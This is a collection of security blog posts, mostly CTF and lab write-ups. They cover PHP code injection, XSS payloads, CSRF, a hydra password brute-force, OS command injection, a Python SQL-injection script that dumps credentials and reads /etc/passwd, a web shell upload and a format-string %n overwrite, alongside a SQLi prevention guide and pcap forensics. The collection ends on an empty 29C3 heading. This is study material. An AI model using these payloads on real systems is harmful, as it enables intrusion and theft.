BITSCTF – Tom and Jerry (50 points)

I have a little time to join on BITSCTF with my team defconUA and want to put some writeup on one of the task i was working. They give us a pcapng named ‘Cat.pcapng’. Ok, challenge name is “Tom and Jerry” and all the things we see inside pcap is related with input devices. First thing we must check is what kind of device had been recorded on the pcap.

Device information
Device information

Seems we have a Wacom tablet with vendor and product description.

idVendor: Wacom Co., Ltd (0x056a)
idProduct: CTL-460 [Bamboo Pen (S)] (0x00d4)

From here we need what are those captured data bits and what’s the meaning of. Mainly we have packets of 73 and 64 bytes length. 64 bytes ones  are just confirmation of previous operation, so we can filter becuase there are nothing interesting there. But first, will apply as column “Leftover Captured Data” and see on the main packet window.

Apply as Column option over Leftover Data Captured
Apply as Column option over Leftover Data Captured

Now filter all non interesting packets commented previously. This can be done with simply line on wireshark.

((usb.transfer_type == 0x01) && (frame.len == 73))

We can ‘save as’ Cat_filtered.pcapng and work with tshark from here. But the important thing is understand how are involved those hex-bytes of captured data. Thanks to the help of teammate he points me how it works.  Let’s see.

Example: 
02:f0:50:1d:72:1a:00:00:12
Bytes:
02:f0: -- Header
50:1d: -- X
72:1a: -- Y
00:00: -- Pressure
12 -- Suffix

Things come more clear now. We can extract those X,Y and see the movements over the Wacom tablet with the pen. But first we must separate data on a plaintext file to work with it.

$  tshark -r Cat_filtered.pcapng -T fields -e usb.capdata -Y usb.capdata > cat.txt

First tries were frustrated because little endian representation. We need to extract positions 3,4 for X and 5,6 for Y but first we must somehow swap those bytes. So first, filter with awk magic interesting data:

awk -F: '{x=$3$4;y=$5$6}$1=="02"{print x,y}' cat.txt>hex

Then, apply swap bytes with a little help of python. This was my first try:

#!/usr/bin/python
import codecs

file = open("hex", "r")

for line in file: 
	data = line.split(' ')
	
	x = codecs.encode(codecs.decode(data[0], 'hex')[::-1], 'hex').decode()
	y = codecs.encode(codecs.decode(data[1].replace('\n',''), 'hex')[::-1], 'hex').decode()
	if '0000' not in x and '0000' not in y:
		int_x = int(x, 16)
		int_y = int(y, 16)
		print int_x,int_y

Then just write a file with data on X and Y and try to plot with gnuplot:

$ python le.py > data.txt
$ gnuplot 
$ plot "data.txt"

This was the result with mirrored effect. Clearly was something that could be a flag, but i was made an important misstake. I have to take care about of third variable: pressure. With this information and help of teammates things could be clear. Pressure was the ‘z’ coord on the new python script. So include this thing on hex data with awk and rewrite python script.

$ awk -F: '{x=$3$4;y=$5$6}{z=$7}$1=="02"{print x,y,z}' cat.txt>hex

Now the python taking ‘z’ as variable too. (thanks Mykola)

#!/usr/bin/python
from pwn import *

for i in open('hex').readlines():
    ii = i.strip().split(' ')
    x = int(ii[0], 16)
    y = int(ii[1], 16)
    z = int(ii[2], 16)

    if z > 0:
        print u16(struct.pack(">H", x)), u16(struct.pack(">H", y))

And now plot the results:

 

flagBITSCTF{THE_CLOSER_YOU_LOOK_THE_LESS_YOU_SEE}



IHackLabs, aprende de los mejores

Introducción

Recientemente he probado “IHackLabs”, una plataforma de aprendizaje, laboratorios y certificaciones para estudiantes y profesionales. Me he reunido con Diana y Carlos, la gente detrás de esta idea, en “Sh3llCON2017 Congreso de Seguridad“. Todo el trabajo en torno a los laboratorios están destinados a reproducir los ejercicios del mundo real sobre la base de sus experiencias profesionales. Carlos trabaja en NCC Group y tiene suficiente experiencia profesional que proyectó en el diseño de los laboratorios.

Estructura y objetivo

Dispones de una primera red “Usa” de unas 20-27 maquinas con diferentes sistemas operativos instalados. Hay otras 3 redes más (España, Asia, UK) con otras tantas maquinas.El objetivo es conseguir obtener cierto dato de un CEO de la empresa. Cada maquina necesita ser comprometida completamente y acceder a un “token” que siempre está en /root/secret.txt o en el escritorio del Administrador de Windows, dependiendo si comprometemos un linux o un windows.

* Aspecto de las redes que debemos atacarAcceso por VPN

Cuando te registras, cada usuario recibe un email con las credenciales acceso y las configuración para conectarte a la VPN. Muy fácil de configurar y de acceso inmediato.

Primeras impresiones de los laboratorios

Durante casi un mes he estado probando la parte de la plataforma relacionada con los laboratorios. A menudo cuando utilizamos entornos de aprendizaje de este tipo nos enfrentamos a vulnerabilidades mas o menos conocidas en una variedad de sistemas operativos, entornos y software instalado. Cuando empiezas a utilizar el laboratorio te das cuenta que la mecánica es similar pero con algo que a mí me pareció interesante: en las fases de reconocimiento las herramientas informan de servicios que, a priori, pueden parecer vulnerables y, aunque algunos si lo sean, su explotación puede resultar menos trivial o conocida de lo habitual. Por ejemplo, podemos encontrarnos con un determinado software instalado cuyo exploit público no va a funcionar porque el sistema operativo en el que está instalado varía. Eso nos permite rehacer el exploit, cambiar offsets, probar… En definitiva, aprender de verdad reproduciendo el software en local para conseguir lanzar exploits con éxtio.

* Aspecto del panel
* Aspecto del panel

Es muy importante tener cierta organización a la hora de abordar la cantidad de información que se nos viene encima y no sólo pararse en obtener el fichero que nos piden, “/root/secret.txt”, ya que puede que obtengamos información relacionada con otras maquinas dentro de una misma. A mi me pasó que, con la “euforia” inicial, me olvidé de estructurar los datos que me iba encontrando y tuve que reorganizarlo todo desde cero, crearme un script para los escaneos con nmap (https://gist.github.com/tunelko/da2d3646e9a417142d83e2b7004b22e6) y replantearme la estrategia. Diréis, bueno, Nessus, OpenVas y otras herramientas ya lo hacen. Y sí, puedes estructurar fácilmente fases iniciales con dichas herramientas, pero preferí solo escanear con nmap y tener en html los resultados.

Las maquinas están, a criterio del creador, catalogadas con niveles bajo, fácil, medio, difícil, extremo. Este criterio suele coincidir con lo que te vas encontrando. Cuando tienes alguna dificultad o duda en alguna de las maquinas dispones de soporte a través de email, aunque se rumorea que están pensando en poner algún tipo de foro.  En cualquier caso se dispone de un soporte cómodo, rápido y eficaz.

En definitiva creo que esta plataforma (y este tipo de plataformas) sirven como preparación para certificiones OSCP preparándote realmente y sin ningún tipo de duda para afrontar el mundo laboral.



n00bs CTF Labs by Infosec Institute – 2nd edition

Here another edition of n00bs infosec CTF. 13 Levels, i will add as soon as i can complete, so stay tuned and keep visiting this post. Remember first edition ?.

Level 2

A simple calculator. Need to inject something that breaks the php code and prints something like phpinfo(). After several tries with operarands with no success i think about operator must not be set with any special ‘cast’ and simple put this string to pass the level.

;phpinfo();

So this string makes eval to lauch our phpinfo even is getting error too. I think operator variable was not sanitize at all. Maybe the solution to mitigate this attack could be a very basic code snipped like:

$operator = array("+", "-", "*", "/");
// If not in array, fail. 
if (!in_array($_GET['operator'], $operator)) {
    die('FAIL!');
}

lvl2Captura

Level 3

Hint says that we have to put a newline to get our role as admin. We inject after ‘lname’ parameter:

$ curl "http://ctf.infosecinstitute.com/ctf2/exercises/ex3.php" -H "Cookie: PHPSESSID=0sik0or2grffh5uqibmildtp82" -H "Connection: keep-alive" --data "user=tunelk02&password=lalala&lname=any"%"0aadmin&email=t"%"40tt.com&register=Register"

What happened here is that the file that saves new users set automatic role as normal user and radsline by linea when login. If we put “lname=any%0aadmin” we force to register process to save as admin. And then just login.

lvl3Captura

 

 Level 4

Description says:

“You are confronted with a website that loads some .txt files to display content for its pages. You are thinking that it may be vulnerable. You aim to load a nice file from a remote server and share the link with unsuspecting visitors.
Your task is to successfully load a PHP file located in the root of infosecinstitute.com. The file should not exist but you must load it without getting errors and it must have the PHP file extension.”

So has to be just read instructions. Let’s test with http://infosecinstitute.com/file1.txt.php:

http://ctf.infosecinstitute.com/ctf2/exercises/ex4.php?file=http://infosecinstitute.com/file1.txt.php

lvl42Captura

http://ctf.infosecinstitute.com/ctf2/exercises/ex4.php?file=HttP://infosecinstitute.com/file1.txt.php

Well it’s detected as URL. Reading hint (case-insensitive) we notice we can change some letters a little bit withou alter the mission.

Nice. Next one?.

lvl4Captura

Level 5

“It seems you have encountered a page which requires users to login before viewing. Do some magic without having to log in.”

If we focus on top of the page we see a disabled login button, something like this:

<a class="btn btn-sm btn-info" disabled="" href="login.html">login</a>

lvl5Captura

 

 

And if we try to get login.html access, is not found. Some of the levels, IMHO, have a very poor realistic implementation. Why they don’t put a real (but restricted login.html) that can be bypassed anyway?. Only need a check of the Referer header, a request like this:

$ curl -vvv http://ctf.infosecinstitute.com/ctf2/exercises/ex5.php -H "Referer: http://ctf.infosecinstitute.com/ctf2/exercises/login.html"

Gosh, you were fast. You completed Level 5. You will be redirected to level 6 in 10 seconds.

Level 6

“It seems you have landed on a site that takes HTML tags for article’s comments. You want to exploit this by making the users perform an action on the bank.php file in the root of site.com, if they are logged in there. You want users browsers to load that page and execute the query string transferTo with the number 555 as a parameter. Go ahead.”

Hey<img src="http://site.com/bank.php?transferTo=555">Visit

Enough and works on my server.

lvl6Captura

 Level 7

There are a hidden value here, injecting just ><h1>tunelko</h1>, we got:

lvl7_2

 
It seems  like PHP_SELF vulnerability, let’s close our quote.

 '><h1>tunelko</h1>

lvl7Captura

Level 11

Presented as another blacklisted part of the website and categorized as “Vulnerability: Bypassing blacklists“. A message appears on the webpage.

level11,sgCaptura

We just inspect cookies and see one of them called ‘welcome’ setted to no. Just change it to ‘yes’ to bypass the ‘restriction’:

$  curl -vvv "http://ctf.infosecinstitute.com/ctf2/exercises/ex11.php" -H "User-Agent: tnlk" -H "Cache-Control: no-cache" -H "Cookie: welcome=yes"|grep lead

Now you can see a different message.

You did it again! Why did they blacklist you anyway?

Level 12

We need to find password. Another bruteforce login.  On first edition they only give you a hint (cisco word) that guides you to try several combinations.  Now just google for the first dictionary with “filetype:lst password” query as search.

Ok, we get first position on first page an openwall common words. How to attack this time? We can beat it several ways: hydra, burp intruder, … As last time i did it with burp, let’s change to hydra this time. We download openwall dictionary on the same directory and start hydra tool with this parameters:

Host: ctf.infosecinstitute.com
Method: http-form-post 
Form action: "/ctf2/exercises/ex12.php:username=admin&amp;password=^PASS^&amp;logIn=Login:Incorrect username or password combination." 

login for admin with Password file downloaded before. 
-l admin -P password-2011.lst 

With 10 threads, wait for 30 and save output to log. 
-t 10 -w 30 -o log

* Notice post parameters inside and incorrect response for invalid users. 


 $ hydra ctf.infosecinstitute.com http-form-post "/ctf2/exercises/ex12.php:username=admin&amp;password=^PASS^&amp;logIn=Login:Incorrect username or password combination." -l admin -P password-2011.lst -t 10 -w 30 -o log

Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2015-06-26 19:21:23
[DATA] max 10 tasks per 1 server, overall 64 tasks, 3546 login tries (l:1/p:3546), ~5 tries per task
[DATA] attacking service http-post-form on port 80
[80][http-post-form] host: ctf.infosecinstitute.com   login: admin   password: princess
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-06-26 19:21:49

Ok, finished in few seconds. Login is admin and password is princess.

level12Captura

Level 13

Text on this level says …

“Hmm, it seems that level thirteen is redirecting to this page. Why do not you analyze the redirect and search if the redirect is validated thoroughly. If not, you want to redirect to a page on a remote server and send links to people fooling them to think they are accessing a different domain.”

If you see the menu link you can see a GET parameter redirect. This parameter is the key to succcessfully achieve that they are askin for: redirect to some page.

GET /ctf2/exercises/ex13.php?redirect=http://104.131.38.172/file.html HTTP/1.1

Not so fast … Seems they are filtering http protocol somehow, an ugly sentence inform us about it: Bad Redirect Parameter. 

What technique we could use to bypass it? First i have tried case-sensitive, but doesn’t work. Then i remember some old-tricky one  for servers that has this vulnerability. Http splitting is one of the one that can bypass the filter. It’s only a new line represented with hexadecimal values (%0a%0d) on GET request. As OWASP says on wikipage:

Exploits a lack of input sanitization which allows an intruder to insert CR and LF characters into the headers of the application response and to 'split' that answer into two different HTTP messages.

So we can try it:

http://ctf.infosecinstitute.com/ctf2/exercises/ex13.php?redirect=%0d%0a%20http://104.131.38.172/file.html

Now it works. Also we can put some other protocol on server we can manage and will work too.


More info: http://ctf.infosecinstitute.com/ctf2/

 

 



Ghost in the Shellcode 2014: Write-up CTF247

This weekend we have 46 hours of hard ctf. Organization let tou play a ‘doom-style’ game that could be decompiled and must be pwned to achieve some missions.
This task is one of two web challenges, a parody of CTF365 (lol).Going to ctf247.2014.ghostintheshellcode.com. was pretty simple since we notice there was a command injection on one of the parameters (ami_id):

/ec2.php?utf8=✓&ami_id=ami-4be3d522&virtual_machine%5Bhost%5D=&virtual_machine%5Bimage_id%5D=&commit=Create+Server

First we are going to see what files are available:

/ec2.php?utf8=✓&amp;ami_id=1;ls *&amp;virtual_machine%5Bhost%5D=&amp;virtual_machine%5Bimage_id%5D=&amp;commit=Create+Server

16K -rw-r--r-- 1 0  16K Jan 19 16:24 index.html
4.0K -rw-r--r-- 1 0   86 Jan 19 15:27 key.php
4.0K -rw-r--r-- 1 0 2.5K Jan 18 21:16 ec2.php

ec2-api-tools-1.6.12.0:
total 104K
4.0K drwxr-xr-x 3 0 4.0K Jan 19 13:44 .
 36K drwxr-xr-x 2 0  36K Jan 19 13:44 bin
4.0K drwxr-xr-x 4 0 4.0K Jan 18 21:17 ..
 48K -rw-r--r-- 1 0  46K Jan 18 21:16 THIRDPARTYLICENSE.TXT
8.0K -rw-r--r-- 1 0 4.8K Jan 18 21:16 license.txt
4.0K -rw-r--r-- 1 0  539 Jan 18 21:16 notice.txt
 ... 
 ... 
 ...

cmdinjection
So key.php have the flag, let’s dump it. I have place ami_id=2;cat%20key.php, but nothing happens (even viewing source code), so let’s use ‘more’

/ec2.php?utf8=✓&ami_id=1;more%20key.php&virtual_machine%5Bhost%5D=&virtual_machine%5Bimage_id%5D=&commit=Create+Server

Finally get the flag that was hidden as a comment:

flag

flag: 0aea26e968895efa40b563e3e8fe8f19

Done :)



Preventing ‘SQLi’ Cheatsheet during attack-defense CTF (Basic approach)

This document explains how to prevent, in several ways, SQLi attack. We can patch this lines as examples below, if we found vulnerable PHP sentences during attack-defense CTF.

Of course, it depends on the way they use PHP and there’s no warranty to secure the code , but it’s an approach about that.

Unsafe example:

$vuln_var = $_POST['userinput'];
 mysql_query("INSERT INTO table (column) VALUES ('" . $vuln_var . "')");

This is unsafe because the user can do value’); DROP TABLE table;– so the query will be:

INSERT INTO table (column) VALUES('`**`value'); DROP TABLE table;--`**`')

Solution: use prepared statements and parameterized queries. Our database parse separately the parameters sent to.

1. Using PDO

$db = new PDO('mysql:host=localhost;dbname=', '', 'PASSWORD');
 $sql = $pdo->prepare('SELECT * FROM table WHERE column = :column');
 $sql->execute(array('column' => $column_value));
2. Using MySQLi
 $sql = $dbConnection->prepare('SELECT * FROM table WHERE column = ?');
 $sql>bind_param('s', $name);
 $sql->execute();

An important thing when we use PDO is that we must set an attribute that force to not use emulate in prepared statements because prepared statements are not used by default (!). To fix it, add this lines:
// use real prepared statements

 $db->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);

In the unsafe example above we are using mysql extension instead mysqli or pdo, where we can minimize impact of the SQLi attack using mysql_real_escape_string() function.

 $vuln_var = $_POST['userinput'];
 $safe_min = mysql_real_escape_string($_POST["userinput"]);
 mysql_query("INSERT INTO table (column) VALUES ('" . $safe_min . "')");

References:

SQL Injection Cheat Sheet
SQL Injection
Information security
Security Principles
Data validation



XSS Challenges

Here’s my journal to solve all the XSS Challenges writed  by yamagata21 on http://xss-quiz.int21h.jp/, This is an starter level to people who want to learn some cross-site scripting and its several ways to inject on differents browsers.

XSS Challenges http://xss-quiz.int21h.jp

Stage1: http://xss-quiz.int21h.jp
Solution: <script>alert(document.domain);</script>

Stage2: http://xss-quiz.int21h.jp/stage2.php?sid=e93e71eed43c3ab5668af6a5aa603cf66eedce70
Solution: “><script>alert( alert(document.domain))</script>

Stage3: http://xss-quiz.int21h.jp/stage-3.php?sid=d362dd49b96c30f3e9a4a6ea0abafb0cef59ed2d
Solution: The input in text box is properly escaped (“><script>alert(document.domain);</script> in select)

Stage4: http://xss-quiz.int21h.jp/stage_4.php?sid=d47663090ecc0b8d55ae73ee3753ead52c63103e
Solution: “><script>alert(document.domain);</script> in hidden field

Stage5: http://xss-quiz.int21h.jp/stage–5.php?sid=e9dd07b6e86c5314a2e574e887faa9482de330bf
Solution: ” onmouseover=”alert(document.domain);” type=”text changing lenght in input text

Stage6: http://xss-quiz.int21h.jp/stage-no6.php?sid=b76ebfa651652f2c22f8ddbe264941287667706c
Solution: ” onmouseover=”alert(document.domain);”

Stage7: http://xss-quiz.int21h.jp/stage07.php?sid=f433ab35e367d5a94100aa4e0f694c3e63d67105
Solution: x onmouseover=alert(document.domain);

Stage8: http://xss-quiz.int21h.jp/stage008.php?sid=4301b185b563c91208e0af232d7f016885e863e0
Solution: javascript:alert(document.domain);

Stage9: utf-7: Not working for me, extracted next level from deobfusucate url.
http://xss-quiz.int21h.jp/stage_09.php?sid=558484a712d793c446e3dc409601eaf126e73d25

Solution:+ACI- onmouseover=+ACI-alert(document.domain)+ADsAIg- x=+ACI-
p1=1%2bACI- onmouseover=%2bACI-alert(document.domain)%2bADsAIg-&charset=euc-jp

Stage10: http://xss-quiz.int21h.jp/stage00010.php?sid=1b96f5c206c187751811fb9267a02c109c7e1276
Solution: ” onmouseover=alert(document.domdomainain); x=”

Stage11: http://xss-quiz.int21h.jp/stage11th.php?sid=756e90d9a168c24e2abbc43d1f4409ce6ff70de3
Solution: “><a href=”javascr&#09;ipt:alert(document.domain);”>XSS</a>

Passed with IE
Stage12: http://xss-quiz.int21h.jp/stage_no012.php?sid=188b00a4305c62ea415313484b57a9a3b59df5cb
Solution: “onmouseover=alert(document.domain);

Passed with IE
Stage13: http://xss-quiz.int21h.jp/stage13_0.php?sid=49a2e48f78ade853ecd72a274e49102a9b096fad
Solution: xss:expression(alert(document.domain));”

Passed with IE
Stage14: http://xss-quiz.int21h.jp/stage-_-14.php?sid=cdfba63593b9c07d7b1b7e41790aa5de3ac4bcd8
Solution: xss:expre/**/ssion(alert(document.domain));”

Stage15: http://xss-quiz.int21h.jp/stage__15.php?sid=26ac2a0522c04a788c217fd8d7847aab1626f726
Solution: \\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e

Stage16: http://xss-quiz.int21h.jp/stage00000016.php?sid=67973758e07ac879612c31437a2e1fb283b760e7
Solution: \\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

Skipped: (Old IE not avalaible)
http://xss-quiz.int21h.jp/stage-No17.php?sid=53342e06720dc7d4fa4224eb3c13bf966d823056
http://xss-quiz.int21h.jp/stage__No18.php?sid=170f1d30f88cf627174033ec5b73578276b94fc3

Stage19: http://xss-quiz.int21h.jp/stage_–19.php?sid=787870a01e603b0c0d0d6c464c0595883e2c10ce
Solution: It’s DOMXSS Twitter’s bug (24 Sept.2010) — #!javascript&#58;alert(document.domain)

Clear Stage: Need to entry the ranking deobfuscating js on this part of the code:
ty = “”;
o = unescape(“foejoh”);
for (var i = 0; i < o.length; i++) {
var y = o.charCodeAt(i);
ty += String.fromCharCode(y – 1)
}
ty = escape(ty);
if (ty == “ending”) {
sj = “\062\060”;
alert(“Congratulations!! All Stages Clear!!!”);
alert(“\x52\x61\x6e\x6b\x49\x6e\x67” + sj + “.php”);
document.location = “\x52\x61\x6e\x6b\x49\x6e\x67” + sj + “.php”
} else {
document.all(“msg”).innerHTML = “<span id=’h3′>Congratulations!!</span> &nbsp; ” + “Next stage <a href=\”” + ty + “\”>” + ty + “</a>.”
}

so  “\x52\x61\x6e\x6b\x49\x6e\x67” + sj + “.php” is RankIng20.php :-)
Final URL that allow entry directly in the clear stage. http://xss-quiz.int21h.jp/RankIng20.php
Rankinghttp://xss-quiz.int21h.jp/ranking.php

 

final

 

 

 

 



NotSoSecure SQLi CTF – writeup

Access to challenge using a proxy like burp or zap and submit data to login. Notice the forwarded to:
http://ctf.notsosecure.com/71367217217126217712/checklogin.php that contains: 7365637265745f72656769737465722e68746d6c

This could be decoded ‘7365637265745f72656769737465722e68746d6c’.decode(‘hex’) in python to read secret_register.html

>>> '7365637265745f72656769737465722e68746d6c'.decode('hex')
'secret_register.html'

The registration page offers four fields that, when you register, create some session_id encoded in base64 which contains your email.

Read a hint launch on twitter (https://twitter.com/notsosecure/status/389714333061500928) about magic_quotes. It is a big hint !

We  ‘pythonautomaticated’ our attack:

#!/usr/bin/python
from requests import get, post
from random import randint
from sys import argv
from urllib import quote, unquote
name = argv[-3]
password = argv[-2]
email = argv[-1]

print 'name:', name
print 'password:', password
print 'email:', email
url1='http://ctf.notsosecure.com/71367217217126217712/register.php'
url2='http://ctf.notsosecure.com/71367217217126217712/checklogin.php'
url3='http://ctf.notsosecure.com/71367217217126217712/uber_secret.php'

r = get(url1, params={'regname':name, 'regemail':email, 'regpass1':password, 'regpass2':password})
r = post(url2, data={'myusername':name, 'mypassword':password}, cookies=r.cookies)
r = get(url3, cookies=r.cookies)
print 'cookie:', unquote(r.cookies['session_id']).decode('base64')

See name of the table (users)

[email protected]:~# python x.py "-1' union select GROUP_CONCAT(table_name),2 FROM information_schema.tables where table_schema!='information_schema' -- -" "a" "a"
name: -1' union select GROUP_CONCAT(table_name),2 FROM information_schema.tables where table_schema!='information_schema' -- -
password: a
email: a
seesion_id: users
dXNlcnM%3D

fields on table:

[email protected]:~# python x.py " -1' union select GROUP_CONCAT(column_name),2 FROM information_schema.columns WHERE table_name = 'users' -- -" "a" "a"
name: -1' union select GROUP_CONCAT(column_name),2 FROM information_schema.columns WHERE table_name = 'users' -- -
password: a
email: a
seesion_id: id,name,password,email
aWQsbmFtZSxwYXNzd29yZCxlbWFpbA%3D%3D

final data:

[email protected]:~# python x.py " -1' union select GROUP_CONCAT(id,name,password,email),2 FROM users where name='admin' -- -" "a" "a"
name: -1' union select GROUP_CONCAT(id,name,password,email),2 FROM users where name='admin' -- -
password: a
email: a
seesion_id: [email protected]
MWFkbWluc3FsaWxhYlJvY0tzISFhZG1pbkBzcWxpbGFicy5jb20%3D

We login with admin:adminsqlilabRocKs and get the flag: “Well done, Flag is 815290. 2nd flag is in file secret.txt”

Screenshot-2

 

We use the same client to read /etc/passwd. See a user temp123 with weakpassword1.

[email protected]:~# python x.py " -1' union select load_file('/etc/passwd'),2 -- -" "a" "a"
name: -1' union select load_file('/etc/passwd'),2 -- -
password: a
email: a
seesion_id:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:103:106::/var/run/dbus:/bin/false
whoopsie:x:104:107::/nonexistent:/bin/false
landscape:x:105:110::/var/lib/landscape:/bin/false
sshd:x:106:65534::/var/run/sshd:/usr/sbin/nologin
postgres:x:107:112:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
ctf:x:1000:1000:,,,:/home/ctf:/bin/bash
temp123:x:1001:1001:weakpassword1:/home/temp123:/bin/sh
ntop:x:108:116::/var/lib/ntop:/bin/false

Login time

[email protected]'s password:
Welcome to Ubuntu 12.04.3 LTS (GNU/Linux 3.8.0-29-generic x86_64)

* Documentation: https://help.ubuntu.com/

System information as of Fri Oct 25 08:47:07 BST 2013

System load: 0.0 Processes: 174
Usage of /: 4.5% of 28.18GB Users logged in: 2
Memory usage: 3% IP address for eth0: 88.208.239.33
Swap usage: 0%

Graph this data and manage this system at https://landscape.canonical.com/

Last login: Fri Oct 25 08:37:55 2013 from cpc26-cmbg15-2-0-cust101.5-4.cable.virginm.net
$ pwd
/home/temp123

Upload a wso shell into public_html of the user. Delete php shell

$ cat /secret.txt
Well done, 2nd Flag is 128738213812990.

email both the flags to [email protected] with subject CTF FLAGS!

make sure you delete all the files you have created on the server so you dont allow other users easy points by using the files left by you on the server.

Please provide a detailed write up to qualify for cash prize!
The person with best write-up wins. You are allowed to publish the write-up on public site, but please do this after the CTF has finished (sunday, 27th October).

Hope you enjoyed the CTF. This was taken from one of challenges we have on SQLi Labs. To practice more on this visit our SQLi Labs.

The next public CTF will take place in December.

Thanks
Sid
References & URL’s

http://ctf.notsosecure.com/leaderboard/



Format string attack. Introduction.

On this post we are going to learn more about format string attacks. On Internet you can find a lot of resources talking about the topic, so this is another one.

What is a format string and how to recognize ?

It’s due laziness of the programmer. In C programming we can declare functions with a variable number of parameters, all this functions has common uses:

  • fprintf: prints to a FILE stream
  • printf: prints to the ‘stdout’ stream
  • sprintf: prints into a string
  • snprintf: prints into a string with length checking
  • vfprintf: print to a FILE stream from a va_arg structure
  • vprintf: prints to ‘stdout’ from a va_arg structure
  • vsprintf: prints to a string from a va_arg structure
  • vsnprintf:  prints to a string with length checking from a va_arg structure

On this functions the first parameter is a so called format string parameter and they convert all the arguments to an output stream. The purpose of this format functions is convert simple C  datatypes to the string representation allowing specify its format and processing the output string. The problem is that instead using a formatted variable specifying the data type with %whatever (printf(“%s”, var);), the programmer thinks about save some bytes and use printf(var); directly. Bad idea. The parameters are saved on the stack (push) and you can pass this parameters as values or references. Let’s see the table:

Format representation
Parameter Output Represented as
%d decimal – int value
%u unsigned decimal – unsigned int value
%x hexadecimal – unsigned int value
%s string – const – unsigned char* reference
%n number of bytes to write so far reference

The three possible uses of format string attacks:

  • Read data from the stack
  • Read characters strings from process’ memory
  • Write an integer to process’ memory

Example: overwriting variable value

Look at this code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// start
int main(int argc, char *argv[]) {

    char passwd[1024];
    static int flag = 1;
    static int key=13; 

printf("Please enter the password to unlock the aircraft: ");
scanf("%s",passwd);
printf("Out:");
printf(passwd);
printf("\n");

// Got to reach this 
if(flag == 1337){
   printf("\nCongratz! We have succesfully hacked the alien's shiprcraft !!!\n key is f0acf075c7efdad1bb51f91a086a3a9b.\n"); 
   exit(0);
}else{
   printf("\nSorry, we can't identified you as 1337 member :( \n"); 
}

// this is the memory address we have to overwrite. 
printf("[DEBUG] flag @ 0x%08x = %d\n", &flag, flag);
exit(0);
}

We start compiling with no stack protector so foreach execution flag is on the same memory address. This is basic level to explain the attack with this example. So here the unprotect.sh that has two lines:

$ cat unprotect.sh 
sysctl -w kernel.randomize_va_space=0
sudo gcc -fno-stack-protector -o $1 $2

The randomize space is disable and gcc compiles with -fno-stack-protector. Let’s execute it:

$ ./example1 
Please enter the password to unlock the aircraft: lost
Out:lost

Sorry, we can't identified you as 1337 member :( 
[DEBUG] flag @ 0x0804a024 = 1

Oh. Something here tell us that flag value is equal 1 and it’s at 0x0804a024  memory address. So let’s read again the code:

// Got to reach this 
if(flag == 1337){

We have to overwrite this value incrementing it. Remember that %n is used for write a number of bytes preceding this parameter. We are going to output the stack:

$ python -c "print '\x24\xa0\x04\x08%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x'" | ./example1 
Please enter the password to unlock the aircraft: Out:$�bffff100.174.174.804a024.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.252e7825.78252e78.78252e
Sorry, we can't identified you as 1337 member :( 
[DEBUG] flag @ 0x0804a024 = 1

Notice all sequences of ‘%x.’ that prints out. Where is the flag varaible? On third %x (0x804a024). At this point we are going increment our value. Using gdb is a good option in case the binary don’t show the memory address (almost serious cases, not this one :)).

$ python -c "print '\x24\xa0\x04\x08%x%x%10x%n'" | ./example1 
Please enter the password to unlock the aircraft: Out:$�bffff100174       174

Sorry, we can't identified you as 1337 member :( 
[DEBUG] flag @ 0x0804a024 = 25

$ python -c "print '\x24\xa0\x04\x08%x%x%20x%n'" | ./example1 
Please enter the password to unlock the aircraft: Out:$�bffff100174                 174

Sorry, we can't identified you as 1337 member :( 
[DEBUG] flag @ 0x0804a024 = 35

$ python -c "print '\x24\xa0\x04\x08%x%x%30x%n'" | ./example1 
Please enter the password to unlock the aircraft: Out:$�bffff100174                           174

Sorry, we can't identified you as 1337 member :( 
[DEBUG] flag @ 0x0804a024 = 45

And when you calculate what value you have to overwrite :

python -c "print '\x24\xa0\x04\x08%x%x%1322x%n'" | ./example1 
Please enter the password to unlock the aircraft: Out:$�bffff100174                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       174

Congratz! We have succesfully hacked the alien's shiprcraft !!!
key is f0acf075c7efdad1bb51f91a086a3a9b.

You can download all in one in a zip file here.

References: The Art of Exploitation



ASIS CTF – simple pcap “spcap” writeup


A simple task named spcap (simple pcap). We open it with wireshark and get the Statistics->Conversations. Some SSH, HTTP on it. Apply this filter on HTTP:

ip.addr==172.16.133.133 && tcp.port==52694 && ip.addr==172.16.133.149 && tcp.port==80

We notice that if we follow TCP stream there’s a GET request file called “/files/flag.jpg”, so we have to get it.

files_flag_wireshark

 

The last step is recover the file from pcap with File->Export->Objects->HTTP and select the file:

get_files_http

 

Flag is on this file:

flag

 

Flag: ASIS_de67c0eafdd76d7b38f67f7a458a83a1



29C3 CTF: Node writeup

This 29C3 from Chaos Computer Club hackers. We participate as dcua team, awesome people trying the best effort for the challenges.  Nice job!

Node

Points: 200
Solves: 18

Description

